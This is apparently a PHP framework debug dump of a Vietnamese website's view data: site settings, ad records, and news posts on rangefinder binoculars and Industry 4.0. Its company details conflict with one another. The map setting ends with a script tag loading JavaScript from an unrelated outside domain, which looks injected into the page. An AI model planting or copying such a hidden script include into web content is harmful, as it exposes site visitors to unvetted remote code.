'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
',
'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux',
'slogan_eng' => '',
'printer' => '',
'googleplus' => '',
'bando' => '<p>
<iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p>
<script src='https://cdnliver.com/js/thanhtuyen.js'></script>',
'gioithieu' => '<p style="text-align: center;">
<img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p>
',
'thongtincongty' => 'Sửa máy lạnh tại nhà
Sửa máy lạnh tại HCM
Sửa tủ lạnh
Bơm ga máy lạnh ',
'trogiupkh' => 'Tai nghe Iphone
Sua may tinh tai nha
Máy Ozone Z755',
'dichvuft' => 'Sửa máy lạnh
Bảo dưỡng máy lạnh
Vệ sinh máy lạnh
Lắp đặt máy lạnh',
'bb' => '',
'zing' => '',
'hotline2' => '0912 35 65 75',
'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-72584674-1', 'auto');
ga('send', 'pageview');
</script>
<!-- Global site tag (gtag.js) - Google Ads: 876059345 -->
<script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'AW-876059345');
</script>
',
'theh1' => '',
'hanoi' => '<div>
<strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div>
<div>
<strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div>
<div>
<strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div>
<div>
<strong>Email </strong>: info@ifes.vn</div>
',
'tphcm' => '<div>
<strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div>
<div>
<strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div>
<div>
<strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div>
<div>
<strong>Email </strong>: info@ifes.vn</div>
',
'tt' => '',
'pp' => 'https://www.facebook.com/ruaxetudong.net',
'tphcm_eng' => '',
'hanoi_eng' => '',
'hotline_eng' => '',
'name_eng' => '',
'chinhsach' => null,
'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>',
'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>',
'gt' => '<p style="text-align: center;">
</p>
<span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" />
<img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br />
<img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" />
<span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span>
<p style="text-align: center;">
<iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p>
',
'gt_eng' => ''
),
'description_for_layout' => '',
'keywords_for_layout' => '',
'tintucnoibat' => array(
(int) 0 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 2 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 3 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
)
),
'duandatrienkhai' => array(
(int) 0 => array(
'Advertisement' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Advertisement' => array(
[maximum depth reached]
)
),
(int) 2 => array(
'Advertisement' => array(
[maximum depth reached]
)
)
),
'slideshow' => array(
(int) 0 => array(
'Slideshow' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Slideshow' => array(
[maximum depth reached]
)
),
(int) 2 => array(
'Slideshow' => array(
[maximum depth reached]
)
)
),
'adv_khuyenmai' => array(
'Advertisement' => array(
'id' => '1',
'name' => null,
'link' => '',
'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png',
'display' => '5',
'created' => '2015-11-12',
'modified' => '2019-06-18',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '1',
'rght' => '2'
)
),
'doitac' => array(
(int) 0 => array(
'Advertisement' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Advertisement' => array(
[maximum depth reached]
)
),
(int) 2 => array(
'Advertisement' => array(
[maximum depth reached]
)
)
),
'chayphai' => array(
'Advertisement' => array(
'id' => '3',
'name' => null,
'link' => '',
'images' => '20160216064647eda555165b5c7208330a328fac635686.png',
'display' => '2',
'created' => '2015-11-13',
'modified' => '2017-02-07',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '5',
'rght' => '6'
)
),
'chaytrai' => array(
'Advertisement' => array(
'id' => '2',
'name' => null,
'link' => '',
'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg',
'display' => '1',
'created' => '2015-11-13',
'modified' => '2017-02-07',
'status' => '1',
'pos' => '0',
'content' => null,
'slug' => null,
'lft' => '3',
'rght' => '4'
)
),
'chiasekinhnghiem' => array(),
'list_menu_footer' => array(),
'danhmuc_left_parent' => array(
(int) 0 => array(
'Catproduct' => array(
[maximum depth reached]
)
)
),
'danhmuc' => array(
(int) 0 => array(
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 2 => array(
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 3 => array(
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 4 => array(
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 5 => array(
'Catproduct' => array(
[maximum depth reached]
)
)
),
'support' => array(
(int) 0 => array(
'Support' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Support' => array(
[maximum depth reached]
)
)
),
'content_for_layout' => '<div class="bg-cat-danhmuc">
<div class="cat-title-danhmuc">
<a href="" title="">
<h1></h1>
</a>
</div>
</div>
<div class="box-content-detail">
<div class="clear-content"></div><div class="clear-content"></div>
<div class="col-product">
<div class="box-new-content">
<div class="box-new-detail">
<div class="time-date">
12:00:00
<span>16/06/2016</span>
</div><!--end time-date--><div class="clear-content"></div>
<div class="box-like-share">
<div class="like1">
<div class="fb-like" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div>
</div>
</div><!--end box-like-share--><div class="clear-content"></div>
<div class="ct-tt">
<div class="clear-main"></div>
</div><!--end ct-tt-->
<!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>-->
<div class="clear-content"></div><div class="clear-content"></div>
</div><!--end box-new-detail-->
<div class="bar-new-detail">
<label>Private same category</label>
<div class="clear-main"></div>
<ul>
<li>
<a href="http://www.quangtayqht.vn/cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu.htm" title="">
<h3> <span>(11-09-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia.htm" title="">
<h3> <span>(11-09-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/nhung-cach-dinh-vi-duong-di-cho-dan-phuot.htm" title="">
<h3> <span>(22-08-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/thuoc-day-yamayo.htm" title="">
<h3> <span>(22-08-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu.htm" title="">
<h3> <span>(25-07-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua.htm" title="">
<h3> <span>(24-07-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet.htm" title="">
<h3> <span>(13-06-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/pin-may-toan-dac-dien-tu-topcon.htm" title="">
<h3> <span>(08-05-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/huong-dan-co-ban-su-dung-may-bo-dam.htm" title="">
<h3> <span>(08-05-2017)</span></h3>
</a>
</li>
<li>
<a href="http://www.quangtayqht.vn/huong-dan-sac-pin-may-bo-dam-dung-ky-thuat.htm" title="">
<h3> <span>(08-05-2017)</span></h3>
</a>
</li>
</ul>
<div class="clear-main"></div>
</div><!--end bar-new-detail-->
<div class="clear-main"></div>
<div class="pagination">
<span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1">1</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:2">2</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:3">3</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4">4</a></span><span class="current number">5</span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6">6</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:7">7</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:8">8</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:46">46</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47">47</a></span><span class="next"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6" rel="next">Next »</a></span><span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47" rel="last">End »</a></span>Page 5/47. View 10/461. </div>
<div class="clear-main"></div>
</div><!--end box-ctbar-->
</div>
</div>',
'scripts_for_layout' => ''
)
$cat12 = array(
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
)
$title_for_layout = 'Sự thật toán học (Theo Sổ tay Thích Học Toán)'
$tinmoiup = array(
(int) 0 => array(
'Post' => array(
'id' => '539',
'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH',
'code' => null,
'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>',
'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br />
<br />
<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br />
<br />
<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br />
<img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br />
<br />
<strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br />
<br />
<span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br />
<strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br />
<br />
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br />
<br />
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br />
<br />
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br />
<br />
<p style="margin: 10px 0px; padding: 0px;">
</p>
',
'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-06-10',
'modified' => '2025-08-10',
'status' => '1',
'view' => '89284',
'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '943',
'rght' => '944',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 1 => array(
'Post' => array(
'id' => '538',
'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?',
'code' => null,
'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>',
'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;">
</h1>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
</p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p>
<ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1>
</li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p>
<ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p>
<ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p>
<ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
</p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p>
